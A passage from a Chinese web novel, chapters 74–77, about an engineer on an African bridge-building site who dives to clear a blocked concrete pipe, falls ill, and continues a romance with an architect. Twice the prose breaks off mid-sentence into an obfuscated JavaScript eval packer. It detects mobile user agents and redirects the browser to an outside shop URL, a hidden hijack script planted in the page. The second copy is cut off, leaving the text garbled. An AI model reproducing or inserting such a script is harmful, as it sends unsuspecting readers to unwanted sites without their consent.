抽完烟,两人又都随手把烟蒂扔到了海里。沈时因蹙起眉,冷眼旁观着。 随着总工的一声令下,质检员上前做了测量,潜水员也潜进水里做清基。在确认位置准确,也无漏水渗水的情况之后,隔水球和导管被放进去,那艘大船也载着人缓缓前往下一个围堰。 前两个桥墩都很顺利地完成了浇筑,大船在确认完所有围堰之后也掉头返程。等沈时因驾船往前开去,再与赵广生汇合时他已经坐在一艘前来接应的小船上,船里除了他,只剩两个监理和潜水员。 “快点啊,都要到中午了,我还等着回去吃饭呢。”赵广生隔着一段海面催促道。 沈时因却迟迟没有下一步动作,她抬起头,发丝被吹拂在脸庞。她正色说:“现在起风了,我们得等一等。” 74.第 74 章 “不是吧,这点小风能影响什么,你难道就让这么多人在这儿陪你干等着?”赵广生一点就着。没人在的时候他还能听沈时因的话办事,一有人在了他就想充大摆款。 他堂堂的老资历,被一个年轻小姑娘呼来喝去的,这像什么话? 沈时因说:“风速已经超过了一定数值,必须按照章程办事。” 平静的海面或许只是假象,海里说不定激荡着暗涌,沈时因不相信肉眼所见,她只信监测到的、实实在在的数据。 赵广生“呸”了一声,“真是个书呆子,读书都读傻了,就知道照本宣科。我在现场干了几十年,经验可比你丰富。” 沈时因还是不为所动,她和胡定荣分别站在两艘导向船上,要定位也是他们的事,沈时因只要不让混凝土打进去,那就没人能做这个主。 赵广生看向身后的监理,“你怎么说?” 监理手上还夹着赵广生刚才递过来的烟,他有意背过身去,装作什么也没看见。也就是说他会睁一只眼闭一只眼。 赵广生摊开手,对沈时因说:“你如果再要一意孤行,那延误的工期就全算在你头上。” 沈时因还盯着手里的仪器,头也没抬,“最多耽误几个小时,不会影响工期。” 赵广生哼笑道:“那你就等着吧,我们可不当这傻蛋。” 说完,他驾着船开始返程。那艘船一走,沈时因身后的一列施工员也席地而坐,时间已经快到中午了,日头正晒,那群黑人叽里呱啦地说着当地话,沈时因一句也听不懂。 胡定荣将船靠近一些,朗声说:“我知道赵广生为什么急着回去。他们在上船之前就说好了中午一起吃饭,赵广生老婆给他寄了一箱五粮液,他还让食堂做一桌好菜下酒。” 沈时因沉着脸,“工地不让喝酒的……不过他留在这里也没什么用,要走就走吧。” 等了大约四十分钟,风速终于稳定下来。沈时因说:“可以了。” 接下来都进行得很顺利。这样一来,待浇筑的围堰就只剩两个了。沈时因在前往下一个之前回过身,用英文对施工队说:“大家再坚持一下,现在风速小,很快就能完成了。” 导向船顺利来到第四个即将成形的桥墩旁,依旧是按照流程放入钢筋笼、插入导管,深色的混凝土就像泥土一般通过管道汇入海底,它们会形成坚实稳固的基础,就像大地一样支撑起整座大桥。 沈时因站在一旁,一瞬不瞬地看着浇筑进程。忽然,“轰隆隆”的声音停下了,负责浇筑的人探出头说:“打不进去了。” “不对呀,”沈时因觉得不应该这么快,“一共有多少立方的混凝土进去了?” 对方看了看操作台:“单体的百分之四十左右。” “不行,这远远不够。这些根本不足以着床,更别说封底了。”沈时因走过去,仰着脸问:“机器出问题了?” “没有,但就是打不进去了。需要把导管提起来吗?” 沈时因赶紧说:“千万别。一定不能把导管提出灌注面,不然刚才的全都白打了。” 整个进程都停下了,时间在一分一秒流逝,沈时因在心中默背教科书上的规定:钢筋笼放入泥浆后四小时内必须灌注,整个过程也要连续施工,中途停顿时间不能大于三十分钟。 一旦开始了灌注,那么留给他们的时间就只会以分钟计算。 身后的施工员也开始躁动不安起来,每个人都又累又饿,脸上清一色带着“差不多就行了”的不耐烦。施工队的队长也走到最前面,试图与控制导管的人做交涉。 沈时因的身后吵成了一锅粥,但她依旧理智地分析起目前的情况,最有可能造成问题的原因有两个——其一是混凝土因为长时间的放置,搅拌不够,所以发生了凝结硬化;其二是导管内部有异物,被堵住之后剩下的混凝土无法顺畅地落下去。 当然了,他们还可能面临更坏的情况。那就是桩基础的结构本身不够稳定,出现了渗水情况,不论是混凝土被掺了水还是流入了大海里,这都是沈时因根本不敢想、也无法承受的后果。 “潜水员呢,现在要让人下去看看,首先排除异物情况。”沈时因在第一时间作出了决断。如果只是被东西堵住,那么一切都还有转圜的余地。 “潜水员早跟着赵广生走了,我马上给他打电话。”胡定荣一连打了好几个,偏偏在这个关头赵广生的电话又占线,也不知道是故意不接还是在跟别的人通话。 沈时因低低骂了一句,让这边的施工队长也赶紧联系其他潜水员。队长一急起来英语都忘了怎么说,张口闭口全是本地话,沈时因只能尽量做最冷静的那个人,试图安抚对方情绪,“你不要着急,慢慢说,现在事情还可以解决。” 胡定荣那头彻底放弃了联系赵广生,他抖着手要给张士明打电话:“我还是跟张工联系,让他重新找新的潜水员过来……” “来不及了。况且就算潜水员过来也只能排除其中一个原因,我们没有那么多时间等。”沈时因看着时间说,“距离浇筑中断已经过去了十二分钟。” 胡定荣束手无策地站着,“那怎么办,直接让张工叫一车新的混凝土过来?不对,如果已经浇筑的要报废,那就还要找海上起重机,非洲有这种设备吗,是不是还得从国内……” 沈时因从船上找出了潜水镜和安全绳,她站到边缘说:“我下去看看,这是目前最快的方式。只有看见了水下的情况才能找出症结,进而想下一步的补救措施,否则只能干着急。” “你疯了?水下全是混凝土,你什么也看不清,而且你都没有潜水证,也没有专业的设备。” “我会游泳。你放心,我不会下到太深,只是看看,如果解决不了就马上上来。”沈时因已经在腰上系好了安全绳,她的脑子里只剩下一个念头,那就是她赔不起这车混凝土,也不能让周围海水受到不可逆的污染。 “张工已经接电话了!”胡定荣嘶吼道:“喂,张工吗,我们这里需要潜水员……什么?不是,是已经浇筑到一半了,时间可不等人!这是几号围堰?总之你带着人过来就能看见……啊,沈工已经跳下去了!” 海水比沈时因想象中要冰冷很多,她憋着气,游到正在浇筑的导管附近。就像胡定荣所说,淤泥和混凝土挡在眼前,她什么也看不见。 海里还有激流和急浪,沈时因攒着劲,猛地往前一蹬,抓住钢板借力,这才得以靠近。 法兰盘接头上面有锥形活套,沈时因伸手探去,上面稳稳当当的,一点也拧不动,于是她绕到另一侧,接头上本来也应该有防止松脱的装置,但她没有摸到。 应该是先前风大的时候被浪冲走了,或者本身就没有安装?沈时因不太确定,但当她摸索着往前时,她发现隔水球被卡住了,中间正好有一截打横的钢板,呈现出镶嵌的状态。 太好了。沈时因在水里松了一口气,没有进水,把异物拔出来应该就好了。她往上游去,浮出水面以后大口喘着气,“胡定荣,给我一个备用的套管!” 胡定荣手上照办,就是表情愁眉苦脸的,“你别下去了,我已经跟张工联系好了,他一会儿就带着人过来。” “来不及了,我去去就回。” 沈时因接过套管,再次洇入水里,她返回之前的位置,把隔水球放回正确的位置。潜水员先前的清基工作大概也没做到位,有些之前为了定位插进去的板子也卡在里面。沈时因拔出来之后将套管拧紧,随即往上探出水面。 “现在打开阀门试试。” 沈时因声音不大,但起到了全场沸腾的效果。摁下按钮,导管里原本阻滞的混凝土顿时就畅通了,唰唰地往下灌注。 胡定荣跳到了这艘船,将沈时因拉回船上。她环抱着胳膊,牙齿打起了战,海风将她吹得浑身发抖,嘴唇也一片青紫。 沈时因看着时间,高兴地说:“还好赶上了,这样就不会留下冷接缝。” 她整个人看上去相当狼狈,从头到脚都湿透了,身上挂着淤泥和海藻,也有可能是不小心沾到的混凝土。即便蜷缩着身体也不住地颤抖。 张士明带着人赶到的时候这个桥墩已经浇筑完成,沈时因还憋着一口气给大伙鼓劲:“就剩最后一个了!” 张士明的脸色说不上好看,大概想着秋后算账,所以什么也没问,只带着人前往这批次的最后一个桥墩。沈时因躲在避风口,完成最后一个环节之后才跟大部队一起返程。 上了岸,她的身上还在滴水,皮肤上也黏黏糊糊的,全是脏污。 办公区坐着几个人,赵广生本来在房间里睡觉,被人叫起来以后等在了这里。他一看见沈时因就站了起来,口中还带着些酒气,“怎么回事,缺了个潜水员就干不了事了?质检早就下去看过了,是你非得没事找事。” 沈时因颤声说:“是你从一开始就想偷工减料,怎么省事怎么来,还在工地大张旗鼓喝酒请客,现在居然还敢倒打一耙?” 赵广生口口声声地说:“你知道为什么浇到一半会堵住吗,都是因为你非要盯着那点风速看,混凝土会凝固的,你们老师没教过你?” “这跟等待时间根本就没关系,只要一直搅拌就不会凝固。我不需要你来教我。” “行了,都别吵。”张士明走进来说,“沈工,你先上去洗洗,换身衣服。其他相关人员留下,小胡你去跟钟琂说一声,连线会议取消,就说我这边遇到点事。” 沈时因扭头就走,她去四楼房间拿出干净的衣物,走到过道尽头的淋浴房,拧开水阀。 热水淋到身上的那一刻沈时因有些脱力,不止是身体浸到了水泥里,她的头发里也全是黑色 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13201044|135313||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的砂石。沈时因弯着腰,将头发一点一点地分开,再细细地冲洗干净。 沈时因洗了很久,直到将周身的脏污和寒气全都冲去。关上水,楼下传来喧哗声,不知道还在争论什么。 她拿起被水泡过的衣服往外走,经过楼梯时正好看见走上楼的钟琂。 沈时因很少看见钟琂这个样子,虽然平时也很少笑,但从来没有像这样浑身肃杀,脸色阴沉晦暗,额角的青筋也随着呼吸鼓张。 沈时因顿了顿,什么也没说,只一声不吭地把脏衣服放到筐里,再贴上房间号送去旁边的洗衣房。 钟琂一直跟在她后面,沈时因打开门回到房间,他就抬手挡着门,也跟着走进来。沈时因拧不过他,只能让他进来,她走到床边拿出毛巾擦头发。 空气沉得都快能滴出水了。钟琂看她半天,忽然开口道:“你想没想过这有多危险,这不是搞个人英雄主义的时候,你会没命的。” 沈时因停下手里的动作,低着头说:“可我现在好端端地坐在这里,这批桥墩也全都建好了,挽回了很大的损失。你知道这车混凝土有多贵吗?” “再贵也不是你自己下水冒险的理由。” “你从来不为钱考虑,当然无所谓了,可我不一样,我还要赚钱养家。如果真在我手里出了岔子,那我这一年都要白干。” 钟琂深吸了一口气,尽量克制住内心的怒气,“就算出了问题也不会让你全权承担,这不是你一个人的责任。那个人叫什么,赵广生?” 沈时因抬起脸,没说话。 钟琂一看她这样子就来气,不自觉地加重了语气:“你前几天还跟我提过这个人,说明你早就发现了他有问题,当时为什么不说?” “我给你说了又能怎么样,你把他赶走?走了一个赵广生,还会来一个张广生,难道你全都能赶走?” 钟琂理所当然地说:“我就是要全都赶走,这种人多留一天,就是多一天的隐患。你总想把什么事都揽在自己身上,这才是不负责任的行为。” 沈时因本来不觉得有多委屈,被钟琂这么一说眼泪都快下来了,“你为什么总是这样,出了事就知道指责我?我只是想息事宁人,外婆从小就教我,我没有父母,所以要少去得罪别人,凡事得饶人处且饶人,我不是为了揽功劳,我只想和每个人都和睦相处。” “你这么想,别人可不会这么想。你越是退让,别人就越觉得你好欺负,职场关系不是这么处的。” “我没有处处忍让,我也没有你想的这么没用!我只是想尽量和所有人都搞好关系……” 钟琂:“这不是什么你好我好大家好的职场游戏,你应该强硬地去争取自己的权利,塞给你的人不喜欢就拒绝。如果别人侵害了你的利益,忍气吞声不是正解,翻了脸又怎么样,你只要做好了分内的事,那就不欠任何人。” 沈时因一点也不想听他继续说下去,她捂起耳朵说:“你也知道我是受害者,那你下去整治真正的恶人啊,在我这里说这么多干什么?” 钟琂说:“我希望你能吸取教训,以后不要再发生这样的事。潜水员都是受过专业训练的,身体素质也强得多,你一个从来没潜过水的人不应该这么冲动,万一遇到洋流、安全绳断了或者别的突发情况,你今天就会死在海里。” 沈时因还是不想听,头也埋进了被子里。也正是因为这样,她手臂上被海里碎石割伤的口子露了出来,腰上也有,让人看得触目惊心。 钟琂走过去想抱她,“我们回园区,那里有医院和医生。” 沈时因躲开他的手,“我不回,你也别碰我。我现在就想一个人待着。” 钟琂看着沈时因这瑟缩的模样,忽然眉心一跳。他蹲下身问:“赵广生还有没有对你做别的事?” 沈时因坐起来,放下手里的被褥说:“没有,如果真是那样我早就说了,根本不可能忍到现在,我不是那么好欺负的人。你不要乱猜!” 钟琂依旧怒不可遏,他刚才上来的时候被人拦着才没对赵广生出手,本来想先上来看看沈时因的情况,现在看完了,只觉得一点也平静不下来。 钟琂打开门说:“我一会儿再来看你,我不会让这件事就这么算了。” 门一关,周围变得很安静,刚才发生的那些事也变得好像与自己无关了。沈时因昏昏沉沉,躺在床上没过多久就陷入沉睡。 当天晚上,沈时因发起了高烧。发烧这件事本来没什么,可这是在非洲,一旦出现类似症状就很容易往疟疾的方向想。 沈时因不记得自己睡了多久,只觉得浑身都在痛,还有人在碰她,好像想将她抱起来。 沈时因心烦意乱地呜咽着:“不要碰我,我想睡觉……” 有人吻在了她的额头上,钟琂说:“你乖一点,别动。我们要去医院。” 75.第 75 章 周围变得有些嘈杂,沈时因很努力地想睁开眼睛,但她睁不开。只能感觉到自己依稀是被放进了车里,行驶途中,她还听到了张士明的声音:“你刚才真的不应该发那么大的火。” “这就叫大了?”钟琂冷笑道:“这种人还留着做什么,你再招不到人也不能什么牛鬼蛇神都收进来。我要让他被整个行业封杀。” 张士明为难地说:“赵广生是个老资历,开除的话赔偿款是这个数。” “那就找个偏远艰苦的分公司打发了,去山里运土石方,你不是说那些本地地头蛇路子野、不好合作么。他如果不主动辞职那就等着掉一层皮。” 沈时因觉得很难受,火烧火燎的,呼出的气息也变得灼热。她后来被转移到了医院的病床上,鼻子里全是消毒水的味道,就像回到了她小时候每天去医院看望妈妈的情景。 沈时因的手背被扎进输液管,冰凉的液体流入身体里,像是终于缓解了那股灼烧感,她再度睡了过去。 钟琂整晚都守在旁边,随时测量她的体温,也帮她擦汗和翻身,但大多数时候都只是看着她,或是握住她的手。 等沈时因再睁开眼,外面的天刚蒙蒙亮,身边一个病患和医护人员都没有,她只看见面沉如水的钟琂站在一旁,正望着吊瓶里的液体出神。 沈时因稍微一动钟琂就看了过来,他还穿着前一天的衣服,很紧张地往前走了几步,“你醒了,感觉怎么样?” 沈时因想坐起来,但浑身使不上力,钟琂连忙伸出手将病床调整到一个角度,还往她后背塞了一个枕头。 沈时因靠在床头,有气无力地说:“身上很酸痛,也没什么力气。” “嗯,这是正常的。”钟琂拿起一个耳温枪放进沈时因的耳朵里,“你饿不饿,我去给你买点吃的。” 沈时因缓慢摇头:“不饿,也不想吃东西。” “那你先喝点水。现在时间也还早,你可以再睡一会儿。” 沈时因接过钟琂手里的水,喝了大半杯才递回去。她闭上眼睛,发现自己可能是睡得太多,现在有点睡不着。可身体还是病着的,所以没什么精神,一动也不想动。 钟琂大概以为她睡着了,先是把病床放平,再把被子盖好,最后靠过来在她脸上亲了几下。 沈时因羽睫微颤,正犹豫着要不要睁眼,忽然听见钟琂的轻笑声:“原来你没睡着啊。” 沈时因睁开眼睛,钟琂还没来得及退回去,离得她很近。沈时因无法抑制地陷入悲伤,“我不会真得疟疾了吧?” “没有,就是普通的感冒发烧。”钟琂说:“就算真得了疟疾也能治好,这不是什么不治之症。” 沈时因松了一口气,“那几个桥墩……” “都很完美地浇筑完成了,很快就能投入使用。” 沈时因说:“那就好。你今天还去工作吗?” “上午九点有个会,下午去现场看看,应该就没什么事了。”钟琂说着话,从旁边柜子里拿出个塑料袋,里面装的都是沈时因要吃的药,“你看,我把什么时候该吃哪种药 、吃多少都写上了,你记得吃。” 沈时因看了一眼,“知道了。” “你别急着工作,先安心休息几天,后面那批围堰本来也不该你负责。” 沈时因说:“好。” 钟琂一直等到八点半,等护士来了才不太放心地离开。园区里的医护人员一般都按正常作息上下班,工作习惯更像以前学校里的校医,平时病患也不多。 护士不会像钟琂那样询问她饿不饿、想吃什么,只是到点了就把营养餐送过来,吃完之后她再按照钟琂标记过的注意事项吃药。 沈时因下午精神好了一些,正好最后一瓶药也输完了,护士过来拔针的时候她问:“我是不是可以走了?” 护士看着手里的单子说:“可以留在医院,也可以回去。” 沈时因觉得留在这里太无聊,于是说:“那我还是走吧,我想出去活动活动。” 护士放好止血贴,“那回去之后记得吃药、定期过来复查,也要饮食清淡、多喝水。” 提着一大包药走出医院,沈时因在园区里散了散步,虽然只病了一天一夜,但她有种久不见天日的感觉。沈时因一点也不喜欢医院,所以即使就这样走在户外,感受着阳光和微风,她也觉得比留在病房强。 沈时因还是止不住地咳嗽,她没在外面留太久,看时间差不多了就来到食堂。已经有几个同事围坐在一起吃晚饭,由于人还不多,他们聊天的声音显得很突出。 “听说闹了一晚上?张工给人买了机票,可他就是不走,世界上居然还有脸皮这么厚的人,还往办公楼面前一躺,说要绝食明志。” “绝食个屁,还没坚持到早上呢,见没人搭理自己就灰溜溜地爬起来了。话说这人也真是踢到铁板了,我还第一次看见张工态度那么坚决,连总工都被换下来了。” “哪是张工决绝呀,听说还是钟琂先发了话。钟琂这种眼里容不下沙子的人,怎么可能容忍有人在他眼皮子底下坏事。那座大桥当初花了那么多心力设计,说是他的孩子都不为过。昨天一收到消息,第一时间就开着车往那边赶,下车那副样子像要把人生吞活剥了。” 沈时因打了饭,正想走过去跟这几个同事打声招呼,没想到最边上那人冷不丁看见她,脸色当即一变,还用手肘碰了一下同伴。 “沈工,好巧啊……我们都吃完了,就先走了。”其中一人站起来说,旁边几人也迅速收起盘子站起身,逃也似的走出了食堂。 沈时因端着盘子,站在原地摸不着头脑。不过她很快就回过味了,关于她得疟疾的传言已经在园区传开,虽然已经做出澄清,但大多数人还是宁可信其有也不会信其无,难怪会对她避之唯恐不及。 可疟疾又不会传染,这些人未免也太谨慎了。沈时因叹了口气,眼看饭点都到了,来食堂吃饭的人只会越来越多,她转身走回出餐口,对着里面说:“阿姨,还是帮我打包吧,我带回宿舍吃。” 沈时因刚回宿舍没多久,钟琂也回来了。他提着许多东西,放在桌上又走到里面去洗手,“你什么时候出院的,怎么也不给我说一声,我去医院问了护士才知道。” 沈时因手里还拿着筷子,她停下吃饭,“我忘了。” 钟琂擦干手出来,把宽大的手掌放在沈时因的额头上,“你有没有感觉好点了?” 沈时因仿佛被他的手封印了,一动也不敢动,“好多了,就是嗓子还疼。” “那你少说话,多喝点水。”钟琂走过去烧水,还把小锅拿了出来,打算炖雪梨汤。 他从回来起就没闲着,一直进进出出地接水、清洗。等沈时因吃完饭,她进去洗了个澡,再出来的时候看见钟琂把自己换下来的衣服都叠成了小方块,放在旁边单独消毒。 一到晚上,沈时因毫无征兆地又烧起来了,浑身烫得吓人。 钟琂手里拿着耳温枪,站在床边长吁短叹,“怎么一到晚上就反复发烧……” 沈时因脸上红通通的,她拿了个冰袋放在头上,幻想头顶会不会有蒸汽在升腾。 “来,先把退烧药吃了,如果没有好转再去医院。” 沈时因看着他手心那些花花绿绿的药,也没问是什么,张嘴全吞了下去。 好在没过多久沈时因就退烧了,躺在床上的她出了一身的汗,钟琂托着她坐起来,给她换了身衣服。 沈时因这个晚上因为口渴断断续续地醒了好几次,每次醒来钟琂都没睡,他总能在她出声之前就把水杯递过来,喝到的也都是不凉不烫的温水。 天快亮的时候,沈时因又睡不着了,她盘腿坐在床边,对着窗外发呆。 钟琂也陪她坐了起来。短暂的相对无言过后,钟琂问:“嗓子还疼么?” “好像比昨天好一点了。”沈时因说。过了一会儿,她忽然问:“赵广生去哪里了?” “调走了。你以后不会看见他,我也不会再 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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钟琂下午四点就回来了,沈时因正躺在床上看书。他走过来坐在床边,把沈时因抱起来放在他腿上。 “今天气色好点了,去医院复查了没有?” 沈时因说:“去过了,还抽了血,医生说没什么大问题,再吃几天药就行了。” 钟琂放下了心,“你这两天跟家里人联系了吗?” 沈时因摇了摇头,“我不敢,外婆可能会听出来我生病了,连梁冉也没联系,怕她们担心。” 钟琂问:“你到底怎么想的,怎么就敢往往海里跳了?” 沈时因现在一想其实也有点后怕,“当时没想那么多,满脑子都是钱要打水漂了。我跳的也不是大海,而是白花花的钞票,你想想,我这一跳挽回了多少钱呀。” 钟琂没忍住笑出了声,沈时因又说:“你也不要怪我了,张工刚才都夸我了,还说年底要给我表彰。” 钟琂问:“张工今天来看你了?” “嗯,中午那会儿来的。”沈时因指着墙角说:“还带了好多慰问品来,那么多水果,我都吃不完。” 钟琂大致扫了一眼,问她:“你想吃苹果吗,我去给你削。” 沈时因说:“不想,我一点都不饿。” “那喝水吗,我去接。” “也不要,我这几天尽喝水了,走路的时候都能听见肚子里传来水声。” “真的?”钟琂低下头,“那你晃给我听听。” 沈时因把他往外推,钟琂不知怎地又掀起了她的衣服,“我看看你身上的伤口好了没有。” “都好了,已经结痂了。”沈时因按住他的手,钟琂的手被制住,只能低下头亲住了沈时因的嘴唇。 钟琂覆上来的嘴唇很柔软,也很温热,带着些须后水的好闻气味。沈时因刚一张开嘴,他的舌尖也探了过来,很贪婪地卷住她的吮吻。 沈时因退出去的时候呼吸都乱了,她把手挡在中间,“你别亲我了,我都还没好全。” 钟琂说:“我不怕传染。” 76.第 76 章 沈时因躺在床上,她望着白色的纱帐,那些细密的针脚规律繁复地往前延伸着。 钟琂还在她身上埋头苦“干”,沈时因突然想起了前一天在食堂遇到的那些人,他们表现出的惊恐不加掩饰,好像把她当作了彻头彻尾的瘟疫传播者,但现在竟然有一个人在和她做这么亲密的事。 沈时因的下巴突然被一只手握住,她被迫与钟琂对视。钟琂问:“你怎么走神了?” 沈时因有种以前在课堂上神游被老师点名的紧张感,她心虚地说:“……我没有。” “那你看着我。” 沈时因身下一轻,她被托着背抱起来,坐在了钟琂身上。 “……”沈时因委屈巴巴地说:“我还生着病呢,很虚弱,你不能让我动。” “我没让你动,但你至少认真点。” 怎么回事啊,沈时因还在幻视课堂。但下一秒的钟琂变得不那么像老师了,他抬起脸说:“那你亲亲我。” 沈时因抱着钟琂的脖子,低下头和他缠在一起接吻。 沈时因这一病就休息了一周,等她再次露面,关于她得疟疾的传言不攻自破,新一年的雨季也正式到来了。 这样一来,修建过程变得困难重重。还好沈时因提前把靠近中段的几个桥墩都建好了,整个团队也制定了防汛措施,所以淅淅沥沥的雨水并没有让整个步调停下来,只是各个环节都更棘手了一些。 随着赵广生的离开,沈时因的生活也好像重归平静。每天早上去上班,晚上回来以后和钟琂一起聊天睡觉,非洲的生活注定孤苦,但只要想到家里还有一个人在等,就会觉得没有那么难了。 身边的人仿佛心照不宣一般,全都对赵广生这个人闭口不提,包括钟琂。沈时因也不确定他们那天到底是不是在为这个人吵架,但这总归不是个令人愉快的话题,能不提也就不提了吧。 关于赵广生的一切消失得干干净净,连带那个姓方的总工也被调走,被其他人顶上。曹光的职位突然向上提了一大截,本来是该高兴的事,他却整日愁眉苦脸了起来。 有次碰到沈时因,曹光向她抱怨道:“本来都说好干完这个项目就回去了,临了了又来个升职加薪,现在走也不是,留也不是的,每天回家尽吵架了。” 沈时因说:“还是要多跟家里人商量,实在不行小万就留在非洲上完初中,高中再回去。” 曹光愁的就是这个,“那不行,初中的师资条件跟国内比差远了,高中回去肯定跟不上。我现在就考虑是先让他们娘俩先回去,还是我们一起回。” 沈时因联想到了自己,她劝着说:“那肯定还是一家人在一起更好的。” 没过多久,曹光再次找上沈时因,他像是已经做出了决定,面露难色地说:“我们还是决定让小万和他妈妈先回国。这边都是全英文教学,所以他英语肯定没问题,现在就是语文差了点……” 曹光见过沈时因交上来的工作日志,那可真是一手好字,一笔一画横平竖直的。说话也轻声细语、温温柔柔,应该是个当老师的好苗子。 沈时因看出了他的踟蹰,笑着说:“有什么就直说,只要能帮上忙的我一定帮。” “是这样……小万会说中文,就是不太会写,这样回去上初中肯定不行。我就想……你有时间的话能不能给他补补课,我按国内的家教课时费给你。” “不用给我钱,我自己本身水平也不高,只能先去试试。”沈时因说。 曹光没想到她答应得这么爽快,高兴道:“肯定可以的。我们平时教他,他总跟我们对着干,有时候大人讲着讲着也容易控制不住情绪,家里每天都鸡飞狗跳的。你可真是帮了我大忙了。” 沈时因想了想,周末本来也没什么事,钟琂经常要工作,她应该能抽出一些时间来。商量一番过后,他们把时间定在了周六上午,每周上一次课,每次一个半小时。 既然说好了,沈时因很能投入角色地立即开始备课。她在网上找了很多资料,打印出来整理成册,一张张地编上页码。 沈时因的授课热情空前高涨,钟琂在床上等了半天也没见她上来,走过来说:“你喜欢上练字了?” “不是练字,是曹光让我给他儿子补课。” 沈时因许久没等来钟琂的回音,抬头一看,他的脸色果然不太好看。“你怎么又这样,别人让你做什么你就做什么。如果不喜欢可以直接拒绝。” “我没有不喜欢,曹光人挺好的,平时也很关照我。”沈时因小声说:“而且就几个月,每周只去一个半小时,我觉得没什么。” 沈时因小时候过得很辛苦,所以她总是会对别的小孩给予很多的爱护和关怀。大概是因为想到了这一点,钟琂在旁边坐了下来,翻看起她的备课资料。 “你移民之后是怎么学写字的?”沈时因问。 “我没学过。” “那你不会写字?”沈时因一脸震惊。堂堂学霸,享誉世界的大建筑师竟然不会写字! 钟琂睨了沈时因一眼,“你看我像不会写字的人?” 钟琂不仅会写汉字,而且写得还挺好看,龙飞凤舞的。他抽出一张白纸,照着课文抄写了一排,但沈时因很快就看出了问题。 “我明白了,你会写字,但是好多笔顺都不对。你学写字的时候是不是依葫芦画瓢的?” 钟琂没想到还有笔顺的规定,“中文课教了拼音和识字,但我那个时候好多字已经会写了,也会布置一些作业,比如写读后感什么的。我如果有不会写的就照着书上写,后来我爸妈看我写得很熟练,也就没有在意笔顺问题。” “这样啊,”沈时因说:“那你也应该加入我的写字课。” 钟琂说:“行啊,只要你给我开小灶。” * 周六上午,第一堂课如期而至。沈时因掐着时间,提前了五分钟抵达。曹光的妻子很热情地来给沈时因开了门,她特地打扫过家里,还准备了果盘。 “小万,快出来,沈老师来了。”她对 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沈时因把打印出来的题让小万先做,用来测试他的水平。很快,她发现小万的问题跟钟琂一样,写字都是照着画符,写得歪歪扭扭的。按照国内老师的话常说的话来讲,这种字交上去都是要扣卷面分的。 沈时因问:“你们学校没有中文老师?” “以前有,就是二、三年级的时候,当时的语文老师是个兼职的中国人,她本来是资料员,跟她老公一起来的。但是没过两年他老公被调回国,她也就走了。” “后面就再没上过语文课了?” “有是有,但是放的网课。大家都知道这堂课没老师管,所以都没人听,大家都在下面玩。” 沈时因说:“我知道了,那我们就从头学起。” 每次上完课,沈时因总会针对这堂课的内容留些作业,下一堂课再复习和学新的内容。 沈时因做事很有条理,讲究一个循序渐进,第一个月小万的写字水平就得到了很大的提升。 有天晚上,沈时因回宿舍的路上突然有辆自行车飞驰而过,小万远远地喊了一声:“沈老师好!” 一眨眼的工夫,小万连人带车都不见了。反而是树丛后面走出一个人影,钟琂笑着说:“沈老师?” “你不要取笑我了,”沈时因提着手里的保鲜盒说:“这是小万妈妈送给我的千层面,我们晚上就吃这个好不好?” “好,”钟琂手里也提着纸袋,“我也给你买了蛋糕。” 一边往上走着楼梯,钟琂一边问:“你如果喜欢小孩子,那要不要考虑去园区的学校代课?他们正缺人。” 钟琂没想到沈时因拒绝得这么干脆,她毫不犹豫地说:“不要,本职工作都快忙不过来了。而且我这个人责任心重,如果要上课必然会付出很多心力,所以我有两个学生就够了。” “两个?”钟琂停下脚步,“你又背着我收了别的学生?” “不是啊,只有你和小万。一共两个学生。” 77.第 77 章 八月下旬,历时一年的基础结构总算完成,两百多个桥墩矗立在大海之中,放眼望去仿佛能想象出大桥未来建成的恢弘样貌。 与此同时,这也昭示着沈时因的“兼职”正式画上句号。国内初中九月开学,小万和他妈妈即将回到祖国的怀抱,曹光再一个人留在非洲多干几年。 对于这家人,沈时因是打心眼里敬佩的。夫妻俩都把自己最好的年华挥洒在了这里,为非洲建设和中非友谊都做出了巨大贡献。 “你是不是语文课上多了,说话也像在写作文了。”钟琂笑着说。 沈时因说:“什么呀,人都要走了,还说要在家设宴款待我。” “你答应了?” 沈时因说:“他们太热情了,实在拒绝不了。而且我也有点舍不得小万,回国以后他就要面对新的老师和同学了,也不知道能不能适应。” “每个人刚上初中都要面对新的同学和老师。” 沈时因本来躺在钟琂怀里,这时候翻过身,用手支着下巴,“你见过夫妻房吗,曹光他们住的就是。” “我见过,只需要申请就行,一般都能分到。” “没结婚也可以?” “可以的。” 沈时因把一侧脸靠在钟琂的胸口,听到他的心跳声。她在想,如果说刚开始讨论这些还为时尚早,那现在就不一样了。他们的感情已经稳定下来,而且也在一起一年多了,是不是可以聊一聊关于以后的话题了…… 更重要的是,曹光的妻儿一走,他就要搬回单人宿舍,那套房子也就空出来了。 沈时因抬起脸,意有所指地说:“他们住的那套房子很有家的感觉,小万妈妈精心布置过,家具都是自己买的。” 钟琂说:“走之前可以把家具卖二手,很多人都愿意买的。” 沈时因自认已经把话说得很明白了,钟琂就是再迟钝也该反应过来了。就算他的意见相左,那至少也应当说出自己的顾虑、拿出个态度来。 沈时因故意顺着他的话说:“那你去买啊,反正你铁了心要一辈子扎根在这里,早点安家不好么。” 钟琂像是当真想了想才说:“不用了,我不缺家具。” “你怎么不缺家具了,你应该弄个旅游景点,再把自己放在里面供人参观。反正你永远都会镇守在这里,不见钟琂就等于白来一趟非洲。” 就像看长城只能去北京一样,长城又不会主动跑到你面前来。沈时因只有留在非洲,才能获得与钟琂在一起的资格,可他不仅没想过要陪她一起回国,也从不为他们的未来考虑,像是对现状十分满意。 